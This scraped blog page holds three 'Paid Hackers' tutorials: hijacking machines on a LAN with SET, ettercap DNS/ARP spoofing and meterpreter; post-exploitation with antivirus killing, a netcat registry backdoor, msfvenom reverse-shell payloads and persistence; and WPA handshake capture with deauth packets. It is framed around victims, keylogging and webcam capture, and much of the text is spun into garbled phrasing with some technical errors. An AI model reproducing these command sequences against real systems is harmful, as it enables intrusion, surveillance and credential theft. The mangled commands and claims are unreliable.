Results for misc

How to hack People on your LAN without sending any files! - by paid hackers

16:15

paid hackers - Hacking people on your lan network
Paid Hackers will teach you how to hack people on your LAN network.

WHAT IS BACKTRACK?

NOTE: This works precisely the same as on backtrack 5r3.

For those of you who don't have a clue, backtrack is a colossal accumulation of hacking tools that you can use for different things including

- Sniffing passwords

- Hacking your whole LAN network

- Hacking somebody on LAN by diverting their browser searches to your machine

- Taking control of PCs on your LAN

- AND SO MUCH MORE!

In this instructional tutorial, we are going to clarify

-How to install backtrack

-Where/how to run it

-Show you some paid hackers's personal top choice hacking tool and how to utilize them viable!


As a matter of first importance, you must choose in the event that you need to run backtrack on a USB flash drive, a Virtual Machine, or your own PC. For those of you who don't recognize what these are:

A Virtual Machine is essentially a program that partakes in your PC and isolates it from whatever is left of your PC so you can run/test viruses, RATS or for this situation, Backtrack from the isolated part so that the virus doesn't assume control over your entire PC or for this situation so you can keep your decent graphical OS (Operating framework).
If you want to learn how to install Kali/backtrack Linux in the virtual box then click here.

A USB flash drive is a separate, portable hard drive that you connect to your PC. For this situation, the USB will go about as a Virtual Machine so as you can run backtrack isolated from your OS.


Now let's assume you have installed backtrack.

On the off chance that you might want to figure out how to utilize some of the paid hacker's personal top choice devices of this radiant system, read on.

Paid hacker's most loved program by a wide margin is SET (which remains for social Engineering toolkit). It's super simple to utilize and gives grand results.

There are numerous methods for utilizing SET. The one paid hacker will disclose to you is paid hacker's top pick. Essentially it will duplicate a website and make it so that when anybody on your system visits this site, they will go to your site rather with the virus on it! In the event that you utilize this strategy, its best to utilize locales like Facebook or different ones that individuals often utilize.

Alright on with the tutorial.

In this method, we will be using:
- A terminal
- The Social Engineering Toolkit (SET)

First and foremost begin SET by heading off to the upper right of the backtrack window onto the "Applications button", from that point click "Exploitation Tools", then "Social Engineering" and afterward click "SET". In the event that there are two, tap the top one.

At that point, we will type in 2 (Website Attack Vectors)

It would be ideal if you take note of that like paid hackers said SET is most likely the simplest to utilize instrument on backtrack. From this menu, you can try. Paid hackers will clarify a percentage of the options here.

-Java Applet Attack - Clones a site then when somebody visits the site, it prompts them to run a java file. At that point, it will hack the victim's PC and you will have the capacity to control it.

-Metasploit Browser Exploit - This will utilize Metasploit (Paid hacker's second most loved device on backtrack) to make a server. At the point when the victim's PC interfaces with the server (by writing in your ip), they will be infected with the exploit and you will have the capacity to take control of their PC. This one is alright in light of the fact that you need to make the victim write in your ip in the location bar. Ex. 192.168.1.124:8080

-Credential Harvester Attack - This is likely the best one to utilize on the off chance that you simply need to get their facebook/Gmail/whatever passwords. Fundamentally it'll clone a site login page. At the point when individuals visit it (by writing in your ip address), they will see the login page and most likely attempt to sign in. Backtrack will copy what they wrote in (their username and password) and send it back to you.

Paid hackers won't clarify other ones as they are more complicated and not suited for a tutorial that was made for newcomers.

At that point, we will sit tight for it to load. When it stacks it will raise a menu with a bunch of choices. We will type in "1" without the braces.

At that point, we will type in "1" (The Java Applet Attack Method).

It will then show a few options. We will utilize number 2 (site cloner)

Type in the required information that it prompts you to enter.

When it asks which site you might want to clone, type in a site that you think your victim utilize a lot. Ex. http://www.facebook.com

When it approaches to enter in your ip for the reverse connection, open up a terminal (on the main page of backtrack at the top, has a little photo of a black window) and type in

ifconfig

Search for your internet address. It ought to say something like 192.168.1.xxx. In the event that it says something arbitrary like 10.0.2.15, it implies that you are not joined with the internet appropriately and you ought to retreat into the settings and have a go at connecting with an alternate router.

When it inquires as to whether you utilize nat/port forwarding enter in no or n.

When it requests that what port run it on, type in any random port. Paid hackers utilize port 4444.

When it requests that what payload to generate, utilize number 14 in light of the fact that it is AV safe (Anti-virus undetectable).

When it asks what type of meterpreter session to use (there will be 3 choices) type in 1

At the point when all that is done, press enter and it will begin doing its thing.

Then, we will open up a terminal and sort in:

gedit/usr/neighborhood/offer/ettercap/etter.dns

This will open up a file with a pack of un-understandable content on it.

Look down to the part close to the top where it says "Microsoft Sucks"

You will see a piece of it that says something like this

"microsoft.com A 198.182.196.56

*.microsoft.com A 198.182.196.56

http://www.microsoft.com PTR 198.182.196.56

we have to change the microsoft.com's to the site that the victim will be going by (Ex. Facebook) and we have to change the ip locations to the ip address that we got when we entered ifconfig.

Here is an example

"facebook.com A 192.168.1.124
*.facebook.com A 192.168.1.124
http://www.facebook.com PTR 192.168.1.124

This is ESSENTIAL for any of this to work!

We will save the record by clicking the button at the top that says save, then we will close the window. We will then open up another terminal and enter in

ettercap -Tqi eth0 -P dns_spoof -M ARP//

Make sure to include the capitals of the spaces. On the off chance that this doesn't work, then your remote interface is unique in relation to paid hackers.

Attempt this ONLY if the one above didn't work

Code:

ettercap -Tqi wlan0 -P dns_spoof -M ARP//


Press enter and wait until it starts generating a list of ips.

Do a reversal to our SET terminal and check whether it is finished. It is done when it begins making a rundown of gibberish and says beginning the payload handler

Minimize the majority of this then go to http://www.facebook.com on your ordinary PC (or whatever site you utilized). (We are doing this to test on the off chance that it meets expectations, this will work on any PC in your system) You ought to be provoked to run a java plugin. Run it this time and click run on the popup window. At that point come back to the SET terminal.

It ought to have begun gushing a cluster of something weird. Hold up until it says, completed the process of moving or something like that. This implies that you have effectively hacked the victim's PC.

To communicate with the victim's PC first type in

sessions -l

(That is an "L" incidentally) This will list the sessions that we have on the victim's PC. In the event that there are more than one, that is great. If there is one, that is additionally fine.

type in

sessions -i 1

This will communicate with the first session. You can substitute the 1 with another number in the event that you need to communicate with another session

We now have control over the vastly PC

Google meterpreter commands to see what you can do once at this stage.

To guarantee that the victim stays infected, we are going to migrate our server to the explorer.exe task on the victim's PC. Along these lines, they can just get us out on the off chance that they restart their PC or something.

To do this first sort in

ps

This will show the majority of the processes on the victim's PC. You have to browse through the majority of that until you find explorer.exe Look for the number close to (it ought to be in the thousands) and remember it.

now type

migrate number that you remembered

Ex. migrate 3968

Hold up until it says migration finished effectively

You might now utilize commands for the meterpreter

3 valuable commands are

keyscan_start (begins a keylogger)

keyscan_dump (reveals to you what they have typed)

webcam_snap (brings a photo with the webcam and spares it to the PC)

getuid (Shows you the name of the PC and the name of the client)



                                           Sincerely Paid hackers
How to hack People on your LAN without sending any files! - by paid hackers How to hack People on your LAN without sending any files! - by paid hackers Reviewed by amit on 16:15 Rating: 5

Postexploitation - By Paid Hackers

18:35
post exploitation in kali linux using meterpreter in metasploit

So we have successfully exploited the target and managed to gain access to it. Now we are into the
postexploitation phase, which is the last phase of our penetration testing process. In this phase, we
will learn to exploit our targets further, escalating privileges and penetrating the internal network
even more. Meterpreter, which is the heart of this tutorial, makes the postexploitation process
much easier.

Meterpreter contains many built-in scripts written in ruby; we can also add and modify meterpreter
scripts based on our requirements or just for exploration.

The goals of this tutorial are as follows:


  • Gaining situation awareness in Windows/Linux after target compromise
  • Using Meterpreter scripts to perform reconnaissance
  • Using various methods for escalating privileges
  • Maintaining access
  • Penetrating the internal network further
Acquiring Situation Awareness

Immediately after compromising a host, you need to gain information about where the host is
located on the internal network and its functionality, which would include hostname, interfaces,
routes, and services that our host is listening to. The more you are familiar with the operating
system the more you can enumerate.

Enumerating a Windows Machine

Windows would be one of our common targets, since it is the most used operating system in the
corporate environment. Since most of you are familiar with Windows, it would be easy to enumerate
it. Our main goals would be to enumerate the network, mainly where the host is, find out what
other hosts are reachable from our compromised host, the interfaces, and the services.
So let’s assume that we have already compromised a Windows host, say, by using our
favorite ms08 _ 067 _ netapi exploit, and opened up a meterpreter session. From within
our Meterpreter session, we can type the “shell” command, which will open our command
prompt.
So here are some of the Windows shell commands to gain situation awareness:

ipconfig —This command will list all the interfaces, the IP addresses, gateways, and the
MAC addresses.

ipconfig/all —This command will list additional information about the interfaces such as
DNS servers.

ipconfig/displaydns —This command will display the DNS cache. The screenshot
shows the A record of the host rafayhackingarticles.net.

arp –a —This command displays the Arp cache; using it you can figure out reachable
systems from our hosts.

netstat –ano —A very useful command, this can be used to list all the connections established
from the current computer on a particular port.

Route Print —This will display the routing table of our computer; the netstat –r
command can also be used for this.

tasklist/svc —This is a very useful command to enumerate all the services running on our
target computer. This knowledge would be very helpful for us when we try to bypass the antivirus.

net start/net stop —The net start command will display all the running services on the target computer. We can stop a running service, for example, AVG antivirus, by using the net stop command. The syntax for net start/net stop commands are as follows:

net start <service to start>
net stop <service to stop>

netsh —netsh is a very useful command line utility for both network administrators and
hackers/penetration testers. It can be used to gather information about firewall rules and so
on. For example, we can turn off a firewall by issuing the following command:
netsh firewall set opmode disable

But we will require administrative privileges to disable the firewall. We will learn about privilege
escalation later in the tutorial.

Enumerating Local Groups and Users

The following two commands would be really helpful to enumerate local groups and users:

net user —This will list all local users such as guests and administrators.

net localgroup —This command will list all the local groups. For example, if we
want to display all the local groups for administrators, we have to type “net localgroup
administrators.”

net user \domain —This command would list users in a group.

net user \domain —This command would list all the users in a particular domain. It is
very useful for identifying domain admins.

Enumerating a Linux Machine

Compared to Windows it’s less likely that you will come across a Linux host in your penetration
tests. so by now you must be familiar with some of the commands for enumerating a
Linux-based host.

ifconfig —This is the same as the ipconfig command; it displays interfaces and associates
IP/MAC addresses.

pwd —This lists the current ID.

ls —This lists the files in a particular directory.

find —This command is useful if you want to find a particular file from a particular path.
find <path> -name filename

who/last —This command displays the users currently logged in on a machine; the last
command displays the login history.

whoami —This command tells your current privileges on a machine.

uname –a —This displays information about the kernel version, and could be very useful
when selecting Linux-based privilege escalation exploits.

touch —This is used to create a 0 byte file. However, this will only work if you have write
permissions on the current directory.

cat/etc/passwd —The /etc/passwd file can be used to enumerate local users on a system;
the good thing about this file is that it is readable by any low-privilege user.

cat/etc/hosts/ —The /etc/host file is used to perform domain to IP mapping.

cat/etc/group/ —The /etc/group file is used to enumerate all the local groups.

cat/etc/resolv.conf —This file is used to locate the name servers on a local machine.

Enumerating with Meterpreter

Meterpreter can also be used to acquire situation awareness as it has a built-in capability to execute
OS commands. I would recommend that you mostly use Metasploit for enumeration and data
mining. Alternatively, you can switch between the meterpreter shell and the Windows shell. Let’s
take a look at some of the commands in Meterpreter.

We type the help command to see all the available commands in meterpreter. The list would
contain different types of commands to accomplish a specific task. Let’s talk about a few of them
important for acquiring system awareness.

sysinfo —The sysinfo command provides useful information about our target.

networking —The networking commands are identical to what we would
use on a Windows/Linux shell. These commands include ipconfig, ifconfig, portfoward,
and route.

Identifying Processes

The following commands could be used to identify a process user IDS.

PS —This is the same as the tasklist command; it will display all the processes.

getuid —This will return the current uid of the user.

getpid —This will print the current process id.

Interacting with the System

The commands for interacting with system using meterpreter are identical to what we use in
linux on daily basis. However, in meterpreter these commands can also be used to interact with
windows systems as well. Here are the basic commands:
cd —Used to navigate between directories.
cat —Used to output contents of a file on the screen.
search —Used to search a particular file.
ls —Similar as in Linux, this is used to list files of a directory.

User Interface Command

The user interface command can be used for various tasks; for example, you can record the victim’s
mic, change the victim’s desktop, and take a screenshot of the current desktop to see what the
victim is doing. In your real-world penetration tests you can include screenshots of the desktop in
your reports to help a nontechnical person understand your report better.
enumdesktops —Prints information about all the running desktops.
screenshot —Used to display screenshot of the current machine to see what our target is
currently doing.
record _ mic —Records the microphone of the victim, in case he is using one.
webcam _ list/webcam snap —Used to list available webcams, and the webcam snap
software is used to take a snapshot of the victim.
Thus, we have listed some of the interesting commands from meterpreter to gain situation awareness
right after compromising a target. We will start exploring other features of Meterpreter as
soon as we get to the more advanced topics.

Privilege Escalation

Once we have gained situation awareness, our next goal would be to escalate our privileges to
the NT Authority SYSTEM, which has the highest privileges on a Windows machine, or at least
we should try to get administrator-level privileges. Most of the commands that we use to further
penetrate the network would require administrator-level privileges to run, but before that we will
talk about making our meterpreter session stable so that it does not close.

Maintaining Stability

The Meterpreter session often dies or gets killed, because the process that the meterpreter is
running on closes. For example, let’s say we used the aurora exploit to compromise a victim
running Internet Explorer 6. Whenever the victim closes his browser, our meterpreter session
will die.
To mitigate this issue we would need to migrate to another stable process such as explorer.exe
or svchost.exe. Luckily, we have a built-in script inside of Metasploit that can help us migrate to
another process. For this, we can use a post module called migrate, which is located in the post/
windows/manage/migrate directory. The command is as follows:

meterpreter> run post/windows/manage/migrate

If you would like to migrate to a specific process, first issue the “ps” command to check for
PIDs.
We should note down the PID of the process that we would like to migrate to, for example,
svchost.exe, which happens to be 856. We will execute the following command from Meterpreter:

meterpreter> Migrate 856

If the process has successfully migrated, the output would be something like the following:

Escalating Privileges

Now that we have moved to a secure process and we are pretty much sure that our session won’t
close during our privilege escalation process, we should attempt to escalate the privileges. The fastest
way of escalating privileges with meterpreter is by using the “getsystem” command, which
consists of many techniques. If one technique fails it will try another one and will report what
technique succeeded in escalating the privileges.
We can type the command getsystem –h to see what type of techniques meterpreter uses
to escalate the privileges.
You can use a specific technique by using the –t parameter followed by the technique number,
but I would recommend that you pass the command without parameter so it can try all the techniques
to save time.

Bypassing User Access Control

User access control (UAC) is a security feature that was introduced from Windows Vista and
onward. The purpose of introducing UAC was to prevent malware from compromising the system.
It accomplishes this by assigning normal user privileges to an application even if a user has
administrator privileges. The application then has to be approved by an administrator for it to
make changes to your computer.

The UAC can be configured easily depending upon the operating system you are using; all
you need to do is search for the keyword “uac” using the search box. The default level of UAC is
level 3, which is when it will notify when programs try to make changes to your computer.

If we try to use the “getsystem” technique in any of the operating systems with
UAC enabled, it will fail by default. Luckily, we already have a postexploitation module in
Metasploit named “bypassuac”, which could help us bypass user access control to escalate
our privileges.

So for the sake of demonstration we assume that you have a meterpreter session on a Windows
7 machine. From our current meterpreter session we will run the following command:

meterpreter> run post/windows/escalate/bypassuac

Now we will try to use the “getsystem” command again, and it will escalate our privileges.
We will use “getuid” to check our privileges and the “sysinfo” command for meterpreter to
display information about the current system.

Impersonating the Token

The concept of an access token is very similar to the concept of a cookie that is used to authenticate
a user on a particular website. When a user is authenticated on a Windows machine an access
token is assigned, which contains information about login details, user privileges, etc. The access
tokens for Windows are of two types:

Primary token —The primary token can be associated with a process and is created within the
operating system using privileged methods.

Impersonation token —An impersonation token can let a process act as another user; it can only
be associated with threads. This is the type of token that we will be abusing for our privilege
escalation process.

We can use a valid impersonation token of a specific user, say, administrator, to impersonate that
user without any authentication. Incognito is a meterpreter module that can help us with this
task. We can load it by using the following command:
use incognito
Next, we would run the “help” command to see all the options; this will load up the meterpreter
help menu, but you will also see Incognito commands along with their description at the
bottom.
Before impersonating a token we need to take a look at the available tokens. To see all the
available tokens, we use the list _ tokens command followed by a –u parameter (which lists
the tokens available under a current user context). With SYSTEM-level privileges you can see the
list of all tokens, but with administrator or lower privileges you cannot.

list_tokens –u

As we can see, we have the administrator token available, which looks interesting; so let’s
try to impersonate this token and escalate our privileges. The command for impersonating is as
follows:

meterpreter> impersonate_token ABDUL-CB7402ACD\\Administrator

Note that we have added an additional backslash, “\” before “Administrator” for it to execute
properly.

Escalating Privileges on a Linux Machine

The methods we talked about would only work on a Windows-based operating system, so you
must be wondering why we didn’t discuss escalating privileges on a Linux box. The reason
is that there are specific privilege escalation exploits for a Linux-based operating system
depending upon the kernel version that our target is using. The getsystem inside meterpreter
is less likely to work on them. I reserved this part for the web hacking chapter, where we will
learn about server hacking.

Maintaining Access

So now we have managed to escalate our privileges to either administrator level or SYSTEM level.
Our next step would be to make it easier for us to access the system any time we want.
So far, we have managed to maintain stability, but we haven’t managed to establish persistency.
Whenever the target computer reboots, the process on which we have attached our
meterpreter session will be closed and we would lose access. So one might ask, why not access
the system by using the vulnerability we previously exploited? Well, yes, we can do that, but it is
not the best approach, since over time applications get updated, patches are applied, and, hence,
vulnerabilities are patched. What we want is an easier way to access our system, for which there
are better approaches. Therefore we don’t want to go through all the hard work of compromising
the target again.
We focus on two different strategies for maintaining access. They are discussed next.

Installing a Backdoor

Backdooring a system is one of the best approaches in my opinion since it’s stealthy most of the
times. What we want to make sure with installing a backdoor is that our backdoor is persistent and
that we are able to connect with our backdoor even when the system reboots. In order to accomplish
this we would make changes to the registry.

Cracking the Hashes to Gain Access to Other Services

The second approach we would talk about is obtaining the hashes and then cracking them to gain
access other services such as remote desktop, VNC, or telnet. This approach is not a very stealthy
approach as the administrator may notice the changes you make. Considering that many users are
allowed access to that particular service, this might work for us too.

Backdoors

Let’s talk about backdoors first. There are several backdoors that we would manually upload to
our target machine and then make changes to the registry so that we can access it even when the
computer reboots. But before installing a backdoor, we should make sure that we have turned
off the victim’s security features such as the firewall and antivirus. Another way around this is to
simply encode our backdoor so that it evades the antivirus. Let’s see how to go about with these
approaches.

Disabling the Firewall

The reason we want to disable the firewall is that we don’t want it to interrupt us while we perform
our postexploitation process.
From our meterpreter shell, we would issue the “shell” command to launch Windows command
prompt. From the Windows command prompt we issue the following command to turn
off the firewall:

netsh firewall set opmode disable

Killing the Antivirus

The reason we want to disable the antivirus is that we don’t want it to identify/delete our backdoor;
we want to remain undetected while conducting our penetration test. We can check for
the installed antivirus by typing the “net start” command and “tasklist/svc” from the
command prompt to check for the process the antivirus is running.

Output of “net start” command
Output of “tasklist/svc” command

Now we can use the “taskkill” command to kill a particular process or let meterpreter
automate it for us. In meterpreter, we can find a script named “killav” that will automatically
kill all the processes associated with an antivirus. Let’s view the contents of the script by using the
“cat” command followed by the path of the script:

cat/opt/metasploit/msf3/scripts/meterpreter/killav.rb

From the output we can see that the script works by closing a process associated with an antivirus.
Though it covers lots of antiviruses, it is possible that the victim’s antivirus is not in the list;
in that case you need to manually identify the antivirus process and then add that process name to
the script for it to work. In this way you can also help the community improve the script.
To run this script, all we need to do is execute the following command from the meterpreter
shell:

meterpreter>kill av

Netcat

Netcat is one of the oldest backdoors that exist. By uploading netcat to the victim’s computer we
would open up a port on a victim on which it would listen to connections, and from our attacker
machine we would simply connect with that port to obtain a command prompt. The netcat is
located in the /pentest/windows-binaries/tools/ directory in BackTrack.
Command:

meterpreter>upload/pentest/windows-binaries/tools/nc.exe C:\\windows\\system32

This command would upload netcat to the system32 directory.
Next, we need to set up netcat to load the backdoor on system boot, so we can connect it every
time we want; to do that we would edit the following registry key:

meterpreter > reg setval –k HKLM\\software\\microsoft\\windows\\currentversion\\run –d ‘C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe’–v netcat

So the command basically sets the registry key to netcat, which on every reboot listens
for connections on port 4444. We can now connect to our target machine from our attacker
machine by netcat, and it will bring the command prompt.
Command:

nc –v <targetiP> <port>

MSFPayload/MSFEncode

Using netcat as a backdoor is not a very stealthy technique as most of the antiviruses as well as
system administrators or users can easily recognize its presence. Also, we need a more powerful
shell such as meterpreter as with netcat we would only be able to access the command prompt.
To solve both of our problems we use a more powerful backdoor that can be generated with the
help of msfpayload and msfencode. We use msfpayload to generate a backdoor and msfencode to
encode the payload so it can bypass any antivirus restrictions.

Generating a Backdoor with MSFPayload

Msfpayload is a command line tool used to generate shell codes; it has the capability to
generate shell codes in multiple forms. For this particular demonstration I will use msfpayload
to generate a backdoor in exe. Thus whenever the victim executes it, we would have a reverse
connection.
The command msfpayload –l will display a list of all the payloads that we can use:

Since our target is a Windows operating system, we can use any of our Windows-based payloads.
For the sake of this demonstration we use windows/meterpreter/reverse _ tcp.
Let’s view its options.
Command:

msfpayload windows/meterpreter/reverse_tcp O

The O parameter is used to list information about the module. As you can see we need
LHOST and the lport. The default is set to 4444; in case we don’t define one it will automatically
set it to 4444. We will also use an additional parameter “X” to output the payload as an
executable.
Command:

msfpayload windows/meterpreter/reverse_tcp lhost = 192.168.75.144 lport =4444 X >/root/Desktop/backdoor.exe
The executable would be generated on the desktop with the name “backdoor.exe”.

MSFEncode

Next we would use msfencode to encode our payload. We can see the list of encoders available on
msfencode by issuing the following command.

root@bt> msfencode –l

We can use msfencode simultaneously with msfpayload by issuing the following command:

msfpayload windows/meterpreter/reverse_tcp LHOST = 192.168.75.144 LPORT =4444 R | msfencode –e x86/shikata_ga_nai –t exe >/root/Desktop/backdoor.exe

The –e parameter is used to specify the type of encoding, which in this case is shikata _
ga _ nai; the –t parameter is used to define the type of format, which in this case would be exe.
By default, msfencode would use a single iteration of the encoder; if you would like to use more
iterations you can specify a –i parameter followed by the number of iterations.

MSFVenom

Msfvenom is a combination of both msfpayload and msfencode, which would make it easier for
us to generate a payload and encode at the same time. We can view the options by typing the following
command:

msfvenom –h

To generate an encoded executable, we will use the following command:

root@bt:~# msfvenom –p windows/meterpreter/reverse_tcp –e x86/shikata_ga_nai –i 5 LHOST = 192.168.75.144 LPORT = 4444 –f exe >/root/Desktop/backdoor.exe

We can see that our backdoor succeeded with five iterations. Now it’s time to upload our backdoor
to the target machine and make it persistent just like we did with netcat. We use the same
commands to accomplish our goal.
Command:

upload/root/Desktop/backdoor.exe C:\\Windows\\System32

Next we make our backdoor persistent by making changes to the registry.
Once our registry value has been set, as soon as Windows reboots, our backdoor starts making
connections to the lhost we provided. So in order to receive the connection, we need to set up a
handler.
We can set up a handler by issuing the following command from the Metasploit console:

use exploit/multi/handler

Next we need to define LHOST and LPORT, which we defined while we created the backdoor.
As soon as Windows reboots, a meterpreter session will be opened again:

Persistence

The Metasploit framework has two different types of backdoors built into it, namely, Metsvc
and persistence. In this section, we will talk about persistence, which is a built-in meterpreter
script that automates the backdooring process; it will automate the process of uploading and persistency.
We can view its options by typing the following command from the meterpreter
console:

meterpreter>Run persistence –h

To execute this script we use the following command:

run persistence –X –i 5 –p 4444 –r 192.168.75.144

The command would listen for all the connections on port 4444 on our local host
192.168.75.144. The argument –X instructs the backdoor to automatically start as soon as the
system boots. The –i parameter indicates the number of iterations that the payload would be
encoded, which in this case is 5, since the script also does the encoding for us. The default encoder
used is shikata _ ga _ nai.
From the output we can see that the script automatically creates a payload “Windows/
meterpreter/reverse _ tcp” and sets the registry value. As the victim turns his system
off, you would notice that our meterpreter session has died, and as soon as he reboots his computer
we will have our meterpreter session back due to our persistence script.
So till now you have learned about various backdoors and how they can be made persistent.
Now we move deeper into the maintaining access phase of postexploitation, and we will discuss
about another approach that could be used to maintain access on our target machine. The
approach involves getting access to services such as telnet, VNC, and RDP, though it’s not the
stealthiest approach as the network administrator might notice it, but sometimes it can get past
them and is great for a proof of concept in your penetration testing reports.

RDP (Remote Desktop) is one of the services that we would encounter most of the times; let’s
discuss some of the scenarios you might encounter:
1. It requires a password.
2. Remote desktop access is disabled and you need to re-enable it.
3. Our current user is not allowed to access the remote desktop.

So the first step requires us to obtain hashes. Before getting into how to obtain hashes, let’s see
what they are.

What Is a Hash?

Passwords are stored as either a plain text or their hash values inside a filesystem or a database.
A hash is basically a one-way cryptographic algorithm; the thing about a hash is that it’s irreversible,
which means that once a plain text password is sent across a hashing algorithm it’s
not possible for it to return to its original state since the process is irreversible. The only way of
doing it is by guessing the word and running it through the hashing algorithm and then manually
comparing it with our original hash. This is the process that is used to crack a password
hash.

Hashing Algorithms

There are different types of hashing algorithms; most popular among them are MD5 and SHA-1.
By looking at the hashes we cannot exactly figure out what type of hashing algorithm is being
used, but by comparing the length we can almost make an exact guess about what types of hashing
algorithms are being used. For example, the MD5 hash would have no more than 32 characters,
the SHA-1 41. So based upon the length, we can guess the hashing algorithms. The Hash Analyzer
is a very popular tool that can help you identify the hash type. Based upon its length it will make
a guess for all the hashes that are of the same length.

Windows Hashing Methods

Some of the hashing protocols for older versions of Windows were vulnerable by design and were
very easy to crack; we will discuss some of the flaws in Windows hashing methods in brief.
LAN Manager (LM)
Windows XP and prior versions of Microsoft Windows use the LAN Manager protocol. The protocol
is based upon a well-known block cipher (DES). However, due to the way it is designed it is
fairly easy for an attacker to crack the hashes. Let’s see how the hashing algorithm works, including
its weaknesses.
1. The password is converted to UPPER CASE, which is a good thing for password crackers, since
it would reduce the total number of combinations.
2. Password hashes are not salted, which means that if you are able to crack hashes for one
computer and someone uses the same password hash on a different computer, you can easily
figure out that it’s the same password.
3. If the password isn’t 14 characters long, it’s then padded with NULL characters.
4. Next, the password is split into two 7-character parts, which again is good from a password
cracking perspective as 7-character passwords are easier to crack than 14-character
passwords.
5. Each seven-byte hash is used as the key to encrypt “KGS!@#$%” with the DES (Data
encryption standard) algorithm.
6. Both of the strings are then concatenated to form a 16-byte LM hash.

NTLM/NTLM2

The NT LAN MANAGER protocol is used by operating systems such as Vista and above. It’s
more secure than the LM protocol. Unlike the LM protocol, it does not split up the passwords,
making it difficult for an attacker to crack them. The password stored is converted to uppercase,
which can still aid in password cracking. It also provides backward compatibility with the LAN
Manager. There are also some known attacks, such as “credential forwarding,” that can be used to
gain access to other machines on the network using the same password hashes.
NTLM2 is much more secure than NTLMV1, because it uses the 128-byte key, making it
harder for attackers to crack the hashes.

Kerberos

Kerberos is mostly used in active directory environments. It is Microsoft’s default protocol for
active directory environments, but in some situations where the domain controller is not available,
NTLM takes charge.

Where Are LM/NTLM Hashes Located?

The LM/NTLM hashes are stored inside of the SAM file. The SAM file is located in the
C:\\Windows\SYSTEM32\CONFIG directory. While the system is running it’s not possible for us
to copy or open a SAM file due to the protection that Microsoft has implemented. However, there
are various techniques/tools that can be used to dump the hashes from a SAM file.
That's all.

                                         Sincerely Paid hackers

Postexploitation - By Paid Hackers Postexploitation - By Paid Hackers Reviewed by amit on 18:35 Rating: 5

Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng (noob friendly) - By Paid Hackers

15:19
hack wifi using kali linux


          Kali Linux can be utilized for many things, however it likely is best known for its capacity to penetration test, or "hack," WPA and WPA2 systems. There are many Windows applications that claim they can hack WPA; don't get them! They're just tricks, utilized by expert programmers, to bait beginner or wannabe programmers into getting hacked themselves. There is stand out way that programmers get into your system, and that is with a Linux-based OS, a remote card equipped for screen mode, and aircrack-ng or comparative. Likewise take note of that, even with these hacking tools, Wi-Fi hacking is not for begginers or for noobs. Playing with it obliges fundamental information of how WPA authentication functions, and moderate commonality with Kali Linux and its devices, so any programmer who obtains entrance to your system likely is no learner! 

These are things that you'll require:
  • A successful install of Kali Linux (which you probably already have done). If not, follow the tutorial here:  installing kali linux
  • A wireless adapter capable of monitor mode.
  • A wordlist to try and “crack” the handshake password once it has been captured
  • Time and patients
In the event that you have these then move up your sleeves and we should perceive how secure your wifi network is! 

Essential notification: Hacking into anybody's Wi-Fi without consent is viewed as an unlawful demonstration or wrongdoing in many nations. We are performing this excercise for the purpose of penetration testing, hacking to wind up more secure, and are utilizing our own test network and router.



Step 1:


Start Kali Linux and login as a root.

kali linux hacking wifi login to kali linux

Step 2:

Plugin your monitor mode wireless adapter, (Unless your computer card supports it). If you’re using Kali in VMware, then you might have to connect the card via the vmware kali linux wifi adaptor settings for hacking wifiicon in the device menu.
Step 3:

Disconnect from all wireless networks, open up a Terminal, and type airmon-ng
(if you are not logged in using root then type "sudo airmon-ng, then just give username and password being asked and then you will be able to use that terminal as a root user)

kali linux airmon-ng for hacking wifi

This will list the majority of the remote cards that supports monitor mode. On the off chance that no cards are listed, have a go at detaching and reconnecting the card and watch that it supports monitor  mode. You can check if the card backings monitor mode by writing ifconfig in another terminal, if the card is listed in ifconfig, however doesn't appear in airmon-ng, then the card doesn't supports it. 

You can see here that the card supports monitor mode and that its recorded as wlan0.


Step 4:

Type airmon-ng start followed by the interface of your wireless card. In this tutorial , the name is wlan0, so the command would be: airmon-ng start wlan0

airmon-ng start for hacking wifi using kali linux

The “(monitor mode enabled)” message means that the card has successfully been put into monitor mode. Note the name of the new monitor interface, mon0.

EDIT:A bug recently discovered in Kali Linux makes airmon-ng set the channel as a fixed “-1” when you first enable mon0. If you receive this error, or simply do not want to take the chance, follow these steps after enabling mon0:
Type: ifconfig [interface of wireless card] down and hit Enter.
Replace [interface of wireless card] with the name of the interface that you enabled mon0 on; probably called wlan0. This disables the wireless card from connecting to the internet, allowing it to focus on monitor mode instead.
After you have disabled mon0 (completed the wireless section of the tutorial), you’ll need to enable wlan0 (or name of wireless interface), by typing: ifconfig [interface of wireless card] up and pressing Enter.


Step 5:

Type airodump-ng followed by the name of the new monitor interface, which is mon0.

airodump-ng mon0 for hacking wifi using kali linux

If you receive a “fixed channel –1” error, see the Edit above.

Step 6:

Airodump command  will now list all of the wireless networks in your location or area, and the useful information about them. Locate your network or the network that you have permission to penetration test. Once you’ve found your network on the list, hit Ctrl + Con your keyboard to stop the process. Note down the channel of your target network on leafpad or on any paper.


list of networks on aircrack for hacking wifi using kali linux

Step 7:

Note down the BSSID of the target network

copy down the bssid of the wifi for hacking wifi using kali linux
Now type this command: 

airodump-ng -c [channel] --bssid [bssid] -w /root/Desktop/ [monitor interface]

Replace [channel] with the channel of your target network. Paste the network BSSID where [bssid] is, and replace [monitor interface] with the name of your monitor-enabled interface, (mon0).

A complete command should look like this in this tutorial case: 

airodump-ng -c 10 --bssid 00:14:BF:E0:E8:D5 -w /root/Desktop/ mon0

airodump ng command for hacking wifi using kali linux

Now press enter.

Step 8:

Airodump with now monitor only the target network which you selected, allowing you to capture more specific information about it. What we’re really doing now is waiting for a device to connect or reconnect to the network, forcing the router to send out the four-way handshake that we need to capture in order to crack the password of wifi using kali linux.
Also, four files should show up on your desktop, this is where the handshake will be saved when captured, so don’t delete them!
However, we're not by any means going to sit tight for a gadget to join, no, that is not what eager hacker do. We're really going to utilize another cool-device that has a place with the aircrack suite called aireplay-ng, to accelerate the procedure. As opposed to sitting tight for a gadget to hack, hackers utilize this device to drive a device to reconnect by sending deauthentication (deauth) packets to the device, making it surmise that it needs to reconnect with the router. 

Obviously, all together for this apparatus to work, there must be another person joined with the system first and foremost, so watch the airodump-ng and sit tight for a customer to appear. It may take quite a while, or it may just take a second prior to the first shows. On the off chance that none appear after a long hold up, then the system may be discharge at this time, or you're to far from the network.


You can see in this picture, that a client has appeared on our network, allowing us to start the next step.
using airplay ng to hack wifi using kali linux

Step 9:

leave airodump-ng running and open a second terminal. In this terminal, type this command:
aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0

The –0 is a short cut for the deauth mode and the 2 is the number of deauth packets to send.
